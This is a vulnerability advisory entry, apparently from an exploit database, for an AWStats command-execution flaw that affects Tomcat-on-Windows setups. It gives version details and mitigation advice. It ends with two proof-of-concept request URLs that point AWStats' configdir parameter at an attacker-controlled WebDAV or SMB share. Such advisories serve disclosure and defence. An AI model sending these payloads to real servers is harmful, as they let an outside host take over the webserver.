Arbitrary Command Execution in Awstats

vendor:

Awstats

by:

7.5

CVSS

HIGH

Arbitrary Command Execution

CWE

Product Name: Awstats

Affected Version From: 6.95 and prior

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:awstats:awstats

Metasploit:

Other Scripts:

Platforms Tested: Windows

Arbitrary Command Execution in Awstats

Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows. An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.

Mitigation:

Update to the latest version of Awstats to mitigate this vulnerability. Ensure that Awstats is not used in conjunction with Apache Tomcat in Windows environments.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/45123/info

Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.

An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.

AWStats 6.95 and prior versions are vulnerable. 

Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav

Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share